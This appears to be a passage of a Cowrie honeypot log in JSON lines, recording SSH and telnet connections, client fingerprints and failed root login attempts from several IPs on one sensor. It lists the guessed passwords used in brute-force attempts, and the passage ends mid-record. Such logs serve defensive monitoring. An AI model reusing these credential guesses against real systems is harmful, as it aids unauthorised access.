{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:02.157156Z","src_ip":"200.77.172.159","session":"2a3ad7771ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34214782714844,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:11.761023Z","src_ip":"50.6.8.71","session":"530a120b0413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47530,"dst_ip":"10.17.0.5","dst_port":23,"session":"93aaaf955cd0","protocol":"telnet","message":"New connection: 50.6.8.71:47530 (10.17.0.5:23) [session: 93aaaf955cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:18.258321Z"}
{"eventid":"cowrie.session.closed","duration":30.712104320526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:19.532644Z","src_ip":"50.6.8.71","session":"dfc37abe30a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f59b1f58b5f","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 1f59b1f58b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:24.609073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:24.614142Z","src_ip":"4.210.91.174","session":"1f59b1f58b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:24.685099Z","src_ip":"4.210.91.174","session":"1f59b1f58b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47536,"dst_ip":"10.17.0.5","dst_port":23,"session":"561957945226","protocol":"telnet","message":"New connection: 50.6.8.71:47536 (10.17.0.5:23) [session: 561957945226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:24.980621Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1234","message":"login attempt [root/alex1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:24.999500Z","src_ip":"4.210.91.174","session":"1f59b1f58b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:26.077520Z","src_ip":"4.210.91.174","session":"1f59b1f58b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40130,"dst_ip":"159.203.135.109","dst_port":22,"session":"7350029888a6","protocol":"ssh","message":"New connection: 194.113.233.25:40130 (159.203.135.109:22) [session: 7350029888a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:26.468918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:26.473720Z","src_ip":"194.113.233.25","session":"7350029888a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:26.563897Z","src_ip":"194.113.233.25","session":"7350029888a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:26.832983Z","src_ip":"194.113.233.25","session":"7350029888a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:27.925770Z","src_ip":"194.113.233.25","session":"7350029888a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34358,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba98f9c157d3","protocol":"telnet","message":"New connection: 50.6.8.71:34358 (10.17.0.5:23) [session: ba98f9c157d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:30.356306Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34364,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe6cb63266c","protocol":"telnet","message":"New connection: 50.6.8.71:34364 (10.17.0.5:23) [session: 6fe6cb63266c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:30.996787Z"}
{"eventid":"cowrie.session.closed","duration":41.70593190193176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:31.277025Z","src_ip":"50.6.8.71","session":"30386197f5f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48928,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ab3c257f6f","protocol":"telnet","message":"New connection: 50.6.8.71:48928 (10.17.0.5:23) [session: a6ab3c257f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:42.901527Z"}
{"eventid":"cowrie.session.closed","duration":35.681458711624146,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:46:53.939642Z","src_ip":"50.6.8.71","session":"93aaaf955cd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47878646850586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:00.459208Z","src_ip":"50.6.8.71","session":"561957945226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac3177f4bfa","protocol":"telnet","message":"New connection: 50.6.8.71:51946 (10.17.0.5:23) [session: 2ac3177f4bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:00.822226Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac8129c545a","protocol":"ssh","message":"New connection: 103.15.222.183:45468 (159.203.135.109:22) [session: 2ac8129c545a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:01.580492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:01.588020Z","src_ip":"103.15.222.183","session":"2ac8129c545a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:01.836894Z","src_ip":"103.15.222.183","session":"2ac8129c545a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:02.586226Z","src_ip":"103.15.222.183","session":"2ac8129c545a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34215521812439,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:03.338832Z","src_ip":"50.6.8.71","session":"6fe6cb63266c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:03.836200Z","src_ip":"103.15.222.183","session":"2ac8129c545a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33043599128723,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:06.686580Z","src_ip":"50.6.8.71","session":"ba98f9c157d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.52991271018982,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:21.431255Z","src_ip":"50.6.8.71","session":"a6ab3c257f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51984,"dst_ip":"10.17.0.5","dst_port":23,"session":"85526a63bcfb","protocol":"telnet","message":"New connection: 50.6.8.71:51984 (10.17.0.5:23) [session: 85526a63bcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:22.899590Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ee9bc8c8324","protocol":"telnet","message":"New connection: 50.6.8.71:51982 (10.17.0.5:23) [session: 0ee9bc8c8324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:34.806789Z"}
{"eventid":"cowrie.session.closed","duration":34.66518807411194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:35.487278Z","src_ip":"50.6.8.71","session":"2ac3177f4bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"646d6ae2bed4","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 646d6ae2bed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:46.733860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:46.739361Z","src_ip":"4.210.91.174","session":"646d6ae2bed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:46.810201Z","src_ip":"4.210.91.174","session":"646d6ae2bed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1988","message":"login attempt [root/1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:47.141076Z","src_ip":"4.210.91.174","session":"646d6ae2bed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:48.214256Z","src_ip":"4.210.91.174","session":"646d6ae2bed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4237ec99b70","protocol":"telnet","message":"New connection: 50.6.8.71:41496 (10.17.0.5:23) [session: c4237ec99b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:50.024409Z"}
{"eventid":"cowrie.session.closed","duration":30.804229021072388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:53.703694Z","src_ip":"50.6.8.71","session":"85526a63bcfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34552,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f23bdfcae67","protocol":"telnet","message":"New connection: 50.6.8.71:34552 (10.17.0.5:23) [session: 7f23bdfcae67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:47:56.309289Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c13614c56c7","protocol":"telnet","message":"New connection: 50.6.8.71:34566 (10.17.0.5:23) [session: 4c13614c56c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:00.919432Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36402,"dst_ip":"159.203.135.109","dst_port":22,"session":"60582a6beee4","protocol":"ssh","message":"New connection: 103.195.236.96:36402 (159.203.135.109:22) [session: 60582a6beee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:13.166772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:13.171579Z","src_ip":"103.195.236.96","session":"60582a6beee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:13.414082Z","src_ip":"103.195.236.96","session":"60582a6beee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:14.134713Z","src_ip":"103.195.236.96","session":"60582a6beee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:15.378318Z","src_ip":"103.195.236.96","session":"60582a6beee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.559786319732666,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:18.366469Z","src_ip":"50.6.8.71","session":"0ee9bc8c8324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.95540475845337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:28.264553Z","src_ip":"50.6.8.71","session":"7f23bdfcae67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.23579406738281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:29.260072Z","src_ip":"50.6.8.71","session":"c4237ec99b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"045fa4a77bdc","protocol":"telnet","message":"New connection: 50.6.8.71:43312 (10.17.0.5:23) [session: 045fa4a77bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:36.118685Z"}
{"eventid":"cowrie.session.closed","duration":37.28963494300842,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:38.208922Z","src_ip":"50.6.8.71","session":"4c13614c56c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52300,"dst_ip":"10.17.0.5","dst_port":22,"session":"83548aeac6c5","protocol":"ssh","message":"New connection: 87.251.64.176:52300 (10.17.0.5:22) [session: 83548aeac6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:39.710301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:48:39.714889Z","src_ip":"87.251.64.176","session":"83548aeac6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-e